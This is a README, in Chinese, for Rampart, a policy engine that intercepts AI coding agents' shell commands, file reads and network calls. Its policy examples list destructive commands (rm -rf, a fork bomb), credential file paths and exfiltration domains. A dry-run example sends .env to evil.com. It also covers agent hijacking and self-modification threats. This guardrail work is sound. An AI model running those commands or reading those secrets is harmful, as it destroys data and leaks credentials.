peg/rampart

Claude Code 的 `--dangerously-skip-permissions` 模式 —— 以及 Cline 和 Codex 中类似的自主模式 —— 赋予了代理无限制的 Shell 访问权限。您的代理可以读取您的 SSH 密钥、泄露您的 `.env` 文件，或者在没有任何防护措施的情况下执行 `rm -rf /`。Rampart 位于代理和您的系统之间：每一条命令、文件访问和网络请求在执行前都会根据您的 YAML 策略进行评估。 只需一条命令即可获得保护： ``` rampart setup claude-code ``` `rampart quickstart` 会自动检测 Claude Code 或 Cline，将 `rampart serve` 安装为启动服务，配置 hooks，并运行健康检查。完成。 或者手动设置： ``` rampart serve install # Install background service (saves token to ~/.rampart/token) rampart setup claude-code # Wire up Claude Code hooks ``` 运行后，每个工具调用都会首先经过 Rampart 的策略引擎： ``` ✅ 14:23:01 exec "npm test" [allow-dev] ✅ 14:23:03 read ~/project/src/main.go [default] 🔴 14:23:05 exec "rm -rf /tmp/*" [block-destructive] 🟡 14:23:08 exec "curl https://api.example.com" [log-network] 👤 14:23:10 exec "kubectl apply -f prod.yaml" [require-approval] 🔴 14:23:12 resp read .env [block-credential-leak] → blocked: response contained AWS_SECRET_ACCESS_KEY ``` Rampart 还会扫描工具**响应** —— 如果您的代理读取了包含凭证的文件，响应会在这些机密信息进入代理的上下文窗口之前被阻止。 ## 工作原理 *模式匹配即时处理 95% 以上的决策。可选的 [rampart-verify](https://github.com/peg/rampart-verify) sidecar 为模糊命令添加基于 LLM 的分类。所有决策都会记录到哈希链审计追踪中。* | 代理 | 设置 | 集成方式 | |-------|-------|-------------| | **Claude Code** | `rampart setup claude-code` | 通过 `~/.claude/settings.json` 的原生 `PreToolUse` hooks | | **Codex CLI** | `rampart setup codex` | 带有 LD_PRELOAD 的持久包装器，用于子进程 | | **Cline** | `rampart setup cline` | 通过设置实现原生 hooks | | **OpenClaw** | `rampart setup openclaw` | Shell shim + `--patch-tools` 用于文件读/写覆盖 | | **任意代理** | `rampart wrap -- ` | 通过 `$SHELL` 进行 Shell 包装 | | **MCP servers** | `rampart mcp -- ` | MCP 协议代理 | | **全系统** | `rampart preload -- ` | LD_PRELOAD syscall 拦截 |

### OWASP Top 10 for Agentic Applications (2026) Rampart 映射到 [OWASP Top 10 for Agentic Applications](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) —— 自主 AI 代理安全的行业框架： | OWASP 风险 | Rampart | 覆盖范围 | |------------|---------|----------| | **ASI02: Tool Misuse & Exploitation** | 每个工具调用在执行前都根据策略进行评估 | ✅ 已覆盖 | | **ASI05: Unexpected Code Execution** | 模式匹配在注入代码运行前将其捕获 | ✅ 已覆盖 | | **ASI01: Agent Goal Hijack** | 工具响应中的 Prompt injection 监控 | ⚠️ 部分 | | **ASI06: Memory & Context Poisoning** | 响应扫描阻止凭证进入上下文 | ⚠️ 部分 | | **ASI09: Human-Agent Trust** | `require_approval` 用于人机回环关卡 | ⚠️ 部分 | | **ASI10: Rogue Agents** | 自我修改保护 | ⚠️ 部分 | 2 项完全覆盖，6 项部分缓解，2 项未解决（身份管理、代理间通信）。[完整映射 →](https://docs.rampart.sh/reference/owasp-mapping/)

📖 目录

**入门：** [安装](#install) · [Claude Code](#claude-code-integration) · [包装任意代理](#wrap-any-agent) · [快速开始](#quick-start) **核心功能：** [编写策略](#writing-policies) · [审批流程](#approval-flow) · [审计追踪](#audit-trail) · [实时仪表板](#live-dashboard) · [Webhook 通知](#webhook-notifications) **高级：** [LD_PRELOAD](#protect-any-process-ld_preload) · [MCP Proxy](#protect-mcp-servers) · [SIEM 集成](#siem-integration) · [Webhook Actions](#webhook-actions) · [Preflight API](#preflight-api) **指南：** [原生 Ask Prompt](docs/guides/native-ask.md) · [CI/无头代理](docs/guides/ci-headless.md) · [项目策略](docs/guides/project-policies.md) · [基准测试](docs/guides/benchmarking.md) · [Windows](docs/guides/windows.md) **参考：** [性能](#performance) · [安全](#security-recommendations) · [CLI 参考](#cli-reference) · [兼容性](#compatibility) · [从源码构建](#building-from-source) · [贡献](#contributing) · [路线图](#roadmap)

### v0.7.4 版本更新 - **`rampart init --from-audit`** —— 从审计日志生成策略 YAML。观察您的代理做什么，然后生成匹配的规则。 - **临时允许** —— `rampart allow "docker *" --for 1h` 创建自动过期的规则。`--once` 用于单次例外。 - **`rampart serve` 上的 TLS** —— `--tls-auto` 生成自签名证书，或使用 `--tls-cert`/`--tls-key` 自带证书。 - **`rampart setup codex`** —— Codex CLI 的一键持久包装器。 - **响应扫描** —— 在凭证到达代理的上下文窗口之前阻止工具响应中的凭证。 ## 安装 ``` # 一键安装（macOS 和 Linux，无需 sudo）： curl -fsSL https://rampart.sh/install | bash ``` 或者选择您偏好的方法： ``` # Homebrew（macOS 和 Linux） brew install peg/rampart/rampart # Go install（需要 Go 1.24+） go install github.com/peg/rampart/cmd/rampart@latest # 或从 GitHub Releases 下载二进制文件 # https://github.com/peg/rampart/releases ``` **Windows (PowerShell):** ``` irm https://rampart.sh/install.ps1 | iex ``` 安装二进制文件后，运行 `rampart quickstart` 一次性完成所有设置，或按照下面的手动步骤操作。 ## Claude Code 集成 通过 Claude Code 的 hook 系统进行原生集成： ``` # 启动后台服务（安装到 systemd/launchd，将 token 保存到 ~/.rampart/token） rampart serve install # 配置 Claude Code hooks（自动发现服务 — 无需环境变量） rampart setup claude-code ``` 每个 Bash 命令、文件读取和文件写入在执行前都经过 Rampart 的策略引擎。被阻止的命令永远不会运行。 然后照常使用 Claude Code： ``` claude ``` 实时查看正在发生的事情： ``` rampart watch ``` ## 包装任意代理 对于没有 hook 系统的代理，`wrap` 将 `$SHELL` 设置为策略检查 shim。适用于任何读取 `$SHELL` 环境变量的代理（Aider、OpenCode、Continue、Cline 等）： ``` rampart wrap -- aider rampart wrap -- opencode rampart wrap -- python my_agent.py ``` ## 保护任意进程 (LD_PRELOAD) 对于没有 hook 系统且不支持 `$SHELL` 的代理，`preload` 在操作系统级别拦截 exec 系列 syscall。这是通用后备方案 —— 它适用于**任何**动态链接的进程： ``` # 保护 Codex CLI — 首选：安装包装器（Linux） rampart setup codex # installs ~/.local/bin/codex wrapper (Linux only) # 备选：LD_PRELOAD（Linux + macOS） rampart preload -- codex # 保护任意 Python agent rampart preload -- python my_agent.py # 保护任意 Node.js agent rampart preload -- node agent.js # 监控模式（仅记录日志，不拦截） rampart preload --mode monitor -- risky-tool ``` Preload 拦截 `execve`、`execvp`、`system()`、`popen()` 和 `posix_spawn()` —— 进程生成命令的所有方式。每个调用在执行前都会根据您的策略进行评估。被拒绝的调用返回 `EPERM`。 **要求：** `librampart.so` (Linux) 或 `librampart.dylib` (macOS) 安装到 `~/.rampart/lib/`。从 `preload/` 构建或从 releases 下载。 **平台说明：** - **Linux：** 适用于所有动态链接的二进制文件（约 95% 覆盖率） - **macOS：** 适用于 Homebrew、nvm、pyenv、cargo 二进制文件。对于 `/usr/bin/*` 被 SIP 阻止（但 AI 代理不在那里） 有关构建说明和详细信息，请参阅 [`preload/README.md`](preload/README.md)。 ## 保护 MCP servers 在您的代理和任何 MCP server 之间的即插即用代理。根据您的策略评估每个 `tools/call`： ``` # 代替直接连接到 MCP server： rampart mcp -- npx @modelcontextprotocol/server-filesystem /path ``` 在您的 MCP 配置（Claude Desktop 等）中： ``` { "mcpServers": { "filesystem": { "command": "rampart", "args": ["mcp", "--", "npx", "@modelcontextprotocol/server-filesystem", "."] } } } ``` 被拒绝的工具调用返回 JSON-RPC 错误 —— MCP server 永远不会看到它们。安全的调用透明传递。带有破坏性关键字（delete、destroy、remove）的工具开箱即被阻止。 ### 从 MCP servers 自动生成策略 不要从头编写策略 —— 扫描 MCP server 的工具列表并生成默认拒绝策略： ``` rampart mcp scan -- npx @modelcontextprotocol/server-filesystem . ``` 审查、自定义、部署。每个工具都成为您可以允许或拒绝的显式规则。 ## 快速开始 ``` # 一键设置：检测您的 agent，安装服务，配置 hooks，运行健康检查 rampart quickstart # 或为特定 agent 进行设置 rampart setup claude-code # Claude Code native hooks rampart wrap -- aider # Any agent that reads $SHELL # 根据策略测试命令，而无需实际运行它 echo '{"tool_name":"Bash","tool_input":{"command":"rm -rf /"}}' | rampart hook # → {"hookSpecificOutput":{"permissionDecision":"deny","permissionDecisionReason":"Rampart: Destructive command blocked"}} # 或者直接测试 rampart test "rm -rf /" ``` 四个内置配置文件： | 配置文件 | 默认 | 用例 | |---------|---------|----------| | `standard` | allow | 阻止危险，监控可疑，允许其余 | | `ci` | allow | 无头/CI 的严格模式 —— 所有审批变为拒绝 | | `paranoid` | deny | 对所有内容的显式允许列表 | | `yolo` | allow | 仅记录，不阻止 | 对于 CI/自动化代理，使用 `rampart init --profile ci` 将所有交互式审批转换为硬性拒绝。有关详细信息，请参阅 [CI/无头代理](docs/guides/ci-headless.md)。 ## 自定义规则 **无需编辑 YAML。** 当命令被阻止时，Rampart 建议运行什么： ``` # 当 "npm install lodash" 被拒绝时，错误信息包含： # 💡 允许此操作：rampart allow "npm install *" # 只需运行它： rampart allow "npm install *" # ✓ 规则已添加 — 策略已重载（12 条规则生效） ``` 常用命令： ``` # 允许命令模式 rampart allow "go test ./..." rampart allow "docker build *" # 阻止危险模式 rampart block "curl * | bash" # 查看自定义规则 rampart rules # 按编号移除规则 rampart rules remove 3 # 重新开始 rampart rules reset ``` 规则与内置策略分开存储，不会被升级覆盖。 ## 编写策略 策略是 YAML。Glob 匹配，文件更改时热重载。 ``` version: "1" default_action: allow policies: - name: block-destructive match: tool: ["exec"] rules: - action: deny when: command_matches: ["rm -rf *", "mkfs.*", "dd if=*", ":(){ :|:& };:"] message: "Destructive command blocked" - name: block-credential-reads priority: 1 match: tool: ["read"] rules: - action: deny when: path_matches: ["**/.ssh/id_*", "**/.aws/credentials", "**/.env"] message: "Credential access blocked" - name: block-exfil match: tool: ["fetch"] rules: - action: deny when: domain_matches: ["*.ngrok-free.app", "*.requestbin.com", "webhook.site"] message: "Exfiltration domain blocked" ``` 使用 `command_contains` 进行子字符串匹配（不区分大小写，v0.4.4+）： ``` - name: block-dangerous-substrings match: tool: ["exec"] rules: - action: deny when: command_contains: - "DROP TABLE" # substring match, case-insensitive (v0.4.4+) - "rm -rf" message: "Dangerous substring detected" ``` 使用 `action: ask` 触发 Claude Code 的原生审批提示： ``` - name: ask-before-sudo match: agent: ["claude-code"] tool: ["exec"] rules: - action: ask when: command_contains: - "sudo " message: "This command needs your approval" ``` 添加 `audit: true` 以记录用户决策，或 `headless_only: true` 以在 CI 中阻止： ``` - name: audited-production-deploy rules: - action: ask ask: audit: true # Log whether user approved or denied headless_only: true # Block in CI/headless mode when: command_matches: - "kubectl apply *" message: "Production deployment requires approval" ``` **评估：** 拒绝总是获胜。优先级数字越低 = 越先评估。四种操作：`deny`、`ask`、`watch`、`allow`。（`require_approval` 是带有 `audit: true` 的 `ask` 的别名；`log` 是 `watch` 的已弃用别名。） ### 项目本地策略 在任何 git 仓库中放置 `.rampart/policy.yaml`，在全局策略之上添加特定于项目的规则。提交它，以便每个团队成员自动获得相同的规则 —— 零每开发者配置。 ``` # 在当前仓库中搭建项目策略脚手架 rampart init --project ``` 或手动创建： ``` mkdir -p .rampart && cat > .rampart/policy.yaml << 'EOF' version: "1" policies: - name: myapp-no-prod-migrations match: tool: exec rules: - action: deny when: command_matches: ["*migrate*--env=production*"] message: "Production migrations require human review" EOF git add .rampart/policy.yaml && git commit -m "Add Rampart project policy" ``` 对于 `default_action`，全局策略始终优先。项目策略拒绝在错误消息中带有 `[Project Policy]` 前缀。 **安全说明：** 在不受信任的仓库中工作时设置 `RAMPART_NO_PROJECT_POLICY=1` 以跳过项目策略加载 —— 您不应该让克隆的仓库改变您的安全态势。 在任何仓库中运行 `rampart doctor` —— 它会报告是否找到项目策略。有关高级用法，请参阅 [项目策略](docs/guides/project-policies.md)。 ### 会话身份 审计事件使用当前会话标记，从 git 自动检测为 `reponame/branch`（例如 `myapp/main`）。在策略规则中使用 `session_matches` 将更严格的规则应用于特定仓库或分支： ``` rules: - action: ask when: session_matches: ["myapp/main", "myapp/production"] message: "Exec on production branch requires approval" ``` 使用 `session_not_matches` 将规则应用于*除*列出的会话之外的所有会话： ``` rules: - action: deny when: session_not_matches: ["myapp/dev", "myapp/test"] message: "Only dev/test branches may run this" ``` 使用 `RAMPART_SESSION=my-label` 覆盖自动检测的标签。 ## 审批流程 对于灰色地带 —— 需要人工决定的命令： ``` policies: - name: production-deploys match: tool: ["exec"] rules: - action: ask when: command_matches: ["kubectl apply *", "terraform apply *"] message: "Production deployment requires approval" ``` 待处理审批在 **1 小时** 后过期（可通过 `--approval-timeout` 配置）。 审批如何传达给您取决于您的环境： ``` graph LR PE[Policy Engine] -->|ask| D{Environment} D -->|Claude Code| CC["Native prompt
(ask hook)"] D -->|MCP Client| MCP["Block & wait
(proxy holds request)"] D -->|OpenClaw| OC["Chat message
(approve in-chat)"] D -->|Webhook| WH["Signed URL
(click to approve)"] D -->|CLI / API| CLI["rampart approve <id>"] CC -->|user responds| R[Resolved] MCP -->|via API / dashboard| R OC -->|via API| R WH -->|HMAC-verified link| R CLI -->|direct| R style D fill:#d29922,stroke:#fff,color:#fff style R fill:#238636,stroke:#fff,color:#fff ``` ``` rampart pending # What's waiting rampart approve abc123 # Let it through rampart deny abc123 # Block it ``` ## Preflight API 检查调用是否会被允许而不执行它： ``` curl -s localhost:9090/v1/preflight/exec \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"agent":"a","session":"s","params":{"command":"rm -rf /"}}' # → {"allowed":false,"decision":"deny","matched_policies":["block-destructive"]} ``` 无副作用。适用于在行动前规划的代理。 ## 审计追踪 每个工具调用都记录到哈希链 JSONL。每个条目都包含前一个条目的 SHA-256 哈希 —— 篡改任何记录都会破坏链。 ``` rampart audit tail --follow # Stream events rampart audit verify # Check chain integrity rampart audit stats # Decision breakdown rampart audit search # Query by tool, agent, decision, time range ``` 为什么使用哈希链：在受监管的环境中，您需要证明您的代理做了什么。哈希链意味着没有人可以在不被发现的情况下编辑历史。 ## 实时仪表板 ``` rampart watch # TUI — live colored event stream in your terminal ``` 当 `rampart serve` 运行时，Web 仪表板也可在 **http://localhost:9090/dashboard/** 访问。 仪表板有三个标签页： - **Active** —— 工具调用的实时流；实时批准或拒绝排队的请求 - **History** —— 浏览过去的工具调用，按工具、决策和时间过滤 - **Policy** —— 查看加载的规则；在命令运行前使用 **"Try a command"** REPL 针对策略测试命令 支持深色浅色主题。无需额外设置 —— 它内置于 `rampart serve`。 ``` ╔══════════════════════════════════════════════════════════════╗ ║ RAMPART — enforce — 3 policies ║ ╠══════════════════════════════════════════════════════════════╣ ║ ✅ 21:03:42 exec "git push origin main" [allow-git] ║ ║ ✅ 21:03:41 read ~/project/src/main.go [default] ║ ║ 🔴 21:03:38 exec "rm -rf /tmp/*" [protect-sys] ║ ║ ✅ 21:03:35 exec "npm test" [allow-dev] ║ ║ 🟡 21:03:33 exec "curl https://api.io" [log-http] ║ ╠══════════════════════════════════════════════════════════════╣ ║ 1,247 total │ 1,201 allow │ 12 deny │ 34 watch ║ ╚══════════════════════════════════════════════════════════════╝ ``` ## Webhook 通知 当 Rampart 阻止某些东西时获取实时警报。在策略文件中添加 `notify` 部分： ``` version: "1" default_action: allow notify: url: "https://discord.com/api/webhooks/your/webhook" # Or Slack: "https://hooks.slack.com/services/your/webhook" on: ["deny"] # Only notify on denied commands (options: deny, watch) policies: # ... your policies ``` 每当发生匹配事件时，Rampart 会向您的 webhook URL 发送 JSON 负载： ``` { "timestamp": "2026-02-11T21:03:38Z", "decision": "deny", "tool": "exec", "command": "rm -rf /tmp/*", "policy": "protect-sys", "message": "Destructive command blocked", "agent": "claude-code", "session": "myapp/main" } ``` 适用于 Discord webhooks、Slack incoming webhooks 或任何接受 POST 请求的 HTTP 端点。 ## SIEM 集成 将审计事件发送到您现有的安全堆栈。三种输出格式，适用于任何 SIEM： ``` # RFC 5424 syslog (Wazuh, QRadar, ArcSight, LogRhythm, Sentinel) rampart serve --syslog localhost:514 # 通用事件格式 (Splunk, QRadar, ArcSight, Exabeam) rampart serve --syslog localhost:514 --cef # CEF 到文件（当您没有 syslog 收集器时） rampart serve --cef ``` 所有三种输出与默认 JSONL 审计追踪并行运行 —— 启用 SIEM 输出不会丢失任何内容。 **Wazuh 用户：** 有关完整的设置指南，包括自定义解码器、警报规则和 AI 代理主机的 FIM 建议，请参阅 [`docs/guides/wazuh-integration.md`](docs/guides/wazuh-integration.md)。 **Codex 用户：** 有关 LD_PRELOAD 设置、PATH 配置和策略验证，请参阅 [`docs/guides/codex-integration.md`](docs/guides/codex-integration.md)。 ## Webhook 操作 将允许/拒绝决策委托给外部服务 —— 基于 LLM 的意图验证、Slack 审批机器人、自定义逻辑： ``` rules: - action: webhook when: command_matches: ['*production*'] webhook: url: 'http://localhost:8090/verify' timeout: 5s fail_open: true ``` Webhook 接收完整的工具调用上下文并返回 `{"decision": "allow"}` 或 `{"decision": "deny", "reason": "..."}`。默认情况下是故障开放的，因此宕机的 webhook 不会破坏您的代理。 **参考实现：** 请参阅 [`rampart-verify`](https://github.com/peg/rampart-verify) —— 一个可选的 sidecar，使用 LLM（gpt-4o-mini、Claude Haiku 或本地 Ollama）对模糊命令进行分类。模式匹配免费处理 95% 的决策；sidecar 以约 $0.0001/调用的成本审查其余部分。 ## 集成 ### HTTP 代理 任何可以发出 HTTP 请求的东西都可以与 Rampart 一起使用。将您的代理的工具调用指向代理： | 方法 | 端点 | 用途 | |--------|----------|---------| | `POST` | `/v1/tool/{toolName}` | 评估并执行 | | `POST` | `/v1/preflight/{toolName}` | 试运行检查 | | `GET` | `/v1/approvals` | 待处理审批 | | `POST` | `/v1/approvals/{id}/resolve` | 批准或拒绝 | | `GET` | `/healthz` | 健康检查 | ### 框架示例 ``` # Python (LangChain, CrewAI, 任意框架) response = requests.post("http://localhost:9090/v1/tool/exec", headers={"Authorization": f"Bearer {token}"}, json={"agent": "my-agent", "session": "s1", "params": {"command": cmd}}) if response.json()["decision"] == "deny": return f"Blocked: {response.json()['message']}" ``` ### OpenClaw 对于 [OpenClaw](https://github.com/openclaw/openclaw) 用户 —— 一条命令设置 shell shim 和后台服务： ``` rampart setup openclaw ``` 这涵盖了所有 `exec` 工具调用。为了完整的文件工具覆盖（Read、Write、Edit），运行： ``` rampart setup openclaw --patch-tools ``` 这会修补 OpenClaw 的 Read、Write、Edit 和 Grep 工具，以便在文件操作之前检查 Rampart。需要对 OpenClaw 安装目录的写入权限（通常对于全局 npm 安装需要 `sudo`）。 支持具有 shell shim 功能的最新 OpenClaw 版本。 ⚠️ **在 OpenClaw 升级后重新运行** —— 补丁修改 `node_modules` 中在更新时被替换的文件。在升级和重新打补丁之间，文件工具绕过 Rampart（exec shim 保持活动）。 适用于 Linux (systemd) 和 macOS (launchd)。 ## 性能 策略评估在个位数微秒内： | 命令 | 决策 | 时间 | |---------|----------|------| | `rm -rf /` | deny | 8µs | | `sudo reboot` | watch | 6µs | | `.ssh/id_rsa` read | deny | 3µs | | `git status` | allow | 4µs | | `curl ngrok.io` | deny | 3µs | 代理增加的延迟可以忽略不计。代理等待 LLM 响应需要数秒 —— 几微秒的策略评估是不可见的。 ## OWASP Top 10 for Agentic AI 覆盖 Rampart 映射到 [OWASP Top 10 Risks for Agentic AI](https://genai.owasp.org/resource/agentic-ai-threats-and-mitigations/)： | # | 风险 | Rampart 覆盖 | |---|------|-----------------| | 1 | **Excessive Agency** | ✅ 策略引擎对每个工具调用强制执行最小权限。拒绝优先评估，YAML 允许列表。 | | 2 | **Unauthorized Tool Use** | ✅ 每个工具调用在执行前评估。`action: deny` 阻止，`action: ask` 需要人工批准。 | | 3 | **Insecure Tool Implementation** | ✅ 响应端扫描检测工具输出中的凭证泄露（AWS 密钥、私钥、API tokens）。 | | 4 | **Prompt Injection → Tool Abuse** | ✅ 模式匹配 + 可选 LLM 验证 ([rampart-verify](https://github.com/peg/rampart-verify)) 捕获注入的命令，无论 prompt 来源如何。 | | 5 | **Insufficient Audit Trail** | ✅ 哈希链 JSONL 审计，带 SIEM 导出 (syslog/CEF)。防篡改，在部分修改后仍能存活。 | | 6 | **Inadequate Sandboxing** | 🟡 Rampart 是策略引擎，不是沙箱。与容器/VM 隔离互补 —— 两者结合实现纵深防御。 | | 7 | **Insecure Agent Communication** | ✅ 代理间工具调用由同一策略引擎评估。`agent_depth` 条件限制子代理权限提升。 | | 8 | **Data Exfiltration** | ✅ 基于域名的阻止 (`domain_matches`)，响应中的凭证模式检测，文件路径限制。 | | 9 | **Uncontrolled Autonomy** | ✅ `require_approval` 和 `ask` 操作对敏感操作强制执行人机回环。带有 HMAC 签名 URL 的审批仪表板。 | | 10 | **Overreliance on AI Decisions** | ✅ 所有决策都记录完整上下文。`rampart watch` 仪表板和 webhook 通知让人类保持知情。 | ### OWASP Top 10 for Agentic Applications (ASI01–ASI10) Rampart 还映射到较新的 [OWASP Top 10 for Agentic Applications](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/)，在 Black Hat Europe 2025 发布： | # | 风险 | Rampart 覆盖 | |---|------|-----------------| | ASI01 | **Agent Goal Hijack** | 🟡 策略引擎限制被劫持的代理能*做*什么 —— 即使代理的目标被更改，拒绝优先评估也能控制影响范围。 | | ASI02 | **Tool Misuse & Exploitation** | ✅ 核心目的。每个工具调用都根据 YAML 策略评估。参数验证、命令模式匹配、敏感操作的审批工作流。 | | ASI03 | **Identity & Privilege Abuse** | 🟡 `agent_depth` 条件限制子代理权限提升。用户分离防止代理访问策略/审计。 | | ASI04 | **Supply Chain Vulnerabilities** | 🟡 社区策略 SHA-256 验证。`rampart mcp scan` 从 MCP server 工具定义自动生成策略。项目策略只能增加限制，不能削弱全局策略。 | | ASI05 | **Unexpected Code Execution** | ✅ Shell 命令规范化、解释器单行阻止、用于子进程拦截的 LD_PRELOAD 级联、模式匹配 + 可选 LLM 验证用于模糊命令。 | | ASI06 | **Memory & Context Poisoning** | ❌ 超出范围 —— Rampart 在工具调用层操作，不在内存/RAG 层。使用专用防护栏确保内存完整性。 | | ASI07 | **Insecure Inter-Agent Communication** | 🟡 代理间工具调用由同一策略引擎评估。`agent_depth` 条件控制子代理嵌套深度。 | | ASI08 | **Cascading Failures** | 🟡 故障开放设计防止 Rampart 级联。`call_count` 速率限制抑制失控代理。Webhook 通知警报异常。 | | ASI09 | **Human-Agent Trust Exploitations** | ✅ `require_approval` 和 `ask` 操作对敏感操作强制执行人机回环。HMAC 签名的审批 URL。完整的审计追踪以问责。 | | ASI10 | **Rogue Agents** | ✅ 哈希链审计追踪使恶意行为可检测和可验证。响应扫描捕获凭证泄露。策略引擎约束所有代理，无论意图如何。 | 有关详细信息，请参阅 [威胁模型](docs/THREAT-MODEL.md)。 ## 安全建议 **自我修改保护。** AI 代理不能通过运行 `rampart allow`、`rampart block` 或 `rampart rules` 绕过自己的策略。这些命令在由代理执行时被标准策略阻止 —— 策略修改必须由人工进行。此保护也覆盖 shell wrappers（`bash -c 'rampart allow ...'`）。 **不要以 root 身份运行您的 AI 代理。** 如果代理以 root 身份运行，没有任何用户分离可以保护策略文件或审计日志 —— root 可以读取所有内容。以非特权用户身份运行您的代理框架（OpenClaw、Claude Code 等）。 **以单独用户身份运行 `rampart serve`。** 如果 Rampart 以与您的 AI 代理相同的用户身份运行，代理可以读取审计日志并修改策略文件。专用的 `rampart` 用户可以防止这种情况： ``` # 创建服务账户 sudo useradd -r -s /usr/sbin/nologin rampart # 将配置和审计移动到新用户 sudo mkdir -p /etc/rampart /var/lib/rampart/audit sudo cp ~/.rampart/policies/*.yaml /etc/rampart/ sudo chown -R rampart:rampart /etc/rampart /var/lib/rampart sudo chmod 700 /etc/rampart /var/lib/rampart/audit # 以 rampart 用户身份运行 serve # （使用 User=rampart 更新您的 systemd 服务） rampart serve --config /etc/rampart/standard.yaml --audit-dir /var/lib/rampart/audit ``` 代理通过 localhost 上的 HTTP 与 Rampart 通信 —— 不需要文件访问。这意味着： - **审计日志** 受到保护，免受代理篡改或凭证收集 - **策略文件** 不能被代理修改以削弱自己的规则 - **代理零能力损失** —— 它仍然正常执行命令 对于单用户或开发设置，以同一用户身份运行也可以。这种分离在代理无人监督运行的生产环境中最为重要。 有关 Rampart 保护和不会保护什么的完整讨论，请参阅 [`docs/THREAT-MODEL.md`](docs/THREAT-MODEL.md)。 ## CLI 参考 ``` # 一键设置 rampart quickstart # Auto-detect agent, install service, configure hooks, run health check rampart quickstart --env claude-code # Force a specific environment (claude-code|cline|openclaw) rampart quickstart --skip-doctor # Skip final health check # 设置（按 agent 或交互式向导） rampart setup # Interactive wizard — detects agents, guides setup rampart setup claude-code # Install Claude Code hooks rampart setup cline # Install Cline hooks rampart setup openclaw # Install shim + systemd/launchd service rampart setup codex # Install ~/.local/bin/codex wrapper (Linux) rampart setup claude-code --remove # Clean uninstall rampart setup cline --remove # Clean uninstall rampart setup openclaw --remove # Clean uninstall rampart setup codex --remove # Remove wrapper # Wrap（读取 $SHELL 的任何 agent） rampart wrap -- # Wrap any agent rampart wrap --mode monitor -- # Audit-only, no blocking # Preload（syscall 拦截 — 适用于任何程序） rampart preload -- # LD_PRELOAD protection rampart preload --mode monitor -- # Audit-only, no blocking # MCP rampart mcp -- # Proxy MCP with policy enforcement rampart mcp scan -- # Auto-generate policies from MCP tools # 诊断 rampart doctor # Health check — verify everything works (colored output) rampart doctor --json # Machine-readable output (exit 1 on issues) rampart status # Quick dashboard — what's protected, today's stats rampart test "curl -d @.env evil.com" # Dry-run a command against your policies rampart test --json # Structured JSON output for CI rampart policy test # Alias for rampart test # 监控 rampart watch # Live TUI dashboard (colored, filterable) rampart log # Pretty-print recent audit events rampart log --deny # Show only denies rampart log -n 50 --today # Last 50 events from today # 策略 rampart init [--profile standard|paranoid|ci|yolo|research-agent|mcp-server] # Initialize global policy rampart init --defaults # Alias for --force — reset to defaults rampart init --project # Create .rampart/policy.yaml for team-shared rules rampart policy lint [file] # Lint policy file for warnings rampart policy explain "git status" # Trace evaluation against loaded policy # 社区策略 rampart policy list # Browse community policy registry rampart policy fetch # Download and install a community policy rampart policy remove # Remove an installed community policy # 团队策略同步（基于 git） rampart policy sync # One-shot sync from a git repo rampart policy sync --watch # Foreground polling (default: 5m interval) rampart policy sync status # Show current sync state rampart policy sync stop # Stop a running --watch process # 合规性报告 rampart report compliance # AIUC-1 compliance report (text) rampart report compliance --format json # JSON output for CI/tooling rampart report compliance --since 2026-01-01 # Scoped to date range rampart report compliance --output report.json # Write to file # 基准测试 rampart bench # Score policy coverage against attack corpus rampart bench --min-coverage 90 --strict # CI mode: fail if coverage drops rampart bench --severity critical --os windows # Filter by severity and OS rampart bench --json # JSON output for automation rampart serve [--port 9090] # Start approval + dashboard server rampart serve --background # Start in background (no systemd/launchd required) rampart serve stop # Stop a background server started with --background rampart serve install # Install as a boot service (systemd/launchd), default port 9090 rampart serve --syslog localhost:514 # With syslog output rampart serve --approval-timeout 2h # Custom approval expiry (default: 1h) # 升级 rampart upgrade # Download latest binary + refresh built-in policies rampart upgrade --no-policy-update # Download binary only, keep existing policies as-is # 标准策略（standard.yaml, paranoid.yaml, yolo.yaml, demo.yaml）在升级时会刷新。您的 custom.yaml 绝不会被修改。 # 审计 rampart audit tail [--follow] rampart audit verify rampart audit stats rampart audit search [--tool exec] [--decision deny] # 批准 rampart pending rampart approve rampart deny # Token rampart token # Print current bearer token rampart token rotate # Generate and persist a new bearer token rampart token rotate --force # Skip confirmation prompt and rotate immediately ``` ## 从源码构建 ``` git clone https://github.com/peg/rampart.git cd rampart go build -o rampart ./cmd/rampart go test ./... ``` 需要 Go 1.24+。 ## 贡献 欢迎贡献。对于小修复之外的任何事情，请先开 issue —— 我们希望在你投入时间之前讨论方法。 ``` git clone https://github.com/peg/rampart.git cd rampart go test ./... ``` 所有工作都通过 `staging` 分支进行。PR 到 `main` 需要一个批准审查。如果存在，请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)，或开 issue 讨论。 ## 路线图 有关计划内容，请参阅 [`docs/ROADMAP.md`](docs/ROADMAP.md)。优先级根据反馈变化 —— 如果某些事情对您很重要，请[开 issue](https://github.com/peg/rampart/issues)。 ## 兼容性 | 代理 | 方法 | 状态 | |-------|--------|--------| | Claude Code | `rampart setup claude-code` | 原生 hooks (exec + file)，所有平台 | | Cline | `rampart setup cline` | 原生 hooks (exec + file)，所有平台 | | OpenClaw | `rampart setup openclaw [--patch-tools]` | Exec shim + 可选文件工具补丁，Linux/macOS | | Codex CLI | `rampart setup codex` (Linux); `rampart preload` (macOS) | Wrapper 在 ~/.local/bin/codex (Linux)，LD_PRELOAD | | Claude Desktop | `rampart mcp` | MCP server 代理，所有平台 | | Aider | `rampart wrap` | Linux, macOS | | OpenCode | `rampart wrap` | Linux, macOS | | Continue | `rampart wrap` | Linux, macOS | | Python agents | `rampart preload` or HTTP API | Linux, macOS | | Node.js agents | `rampart preload` or HTTP API | Linux, macOS | | Any MCP server | `rampart mcp` | 所有平台 | | Any process | `rampart preload` | Linux, macOS | | Custom agents | `rampart serve` | 所有平台 | `rampart hook`、`rampart mcp`、`rampart mcp scan` 和 `rampart serve` 适用于 Linux、macOS 和 Windows。 `rampart wrap` 和 `rampart preload` 需要 Linux 或 macOS。 `--syslog` 需要 Linux 或 macOS。`--cef` 适用于所有平台。 ## 许可证 [Apache 2.0](LICENSE)

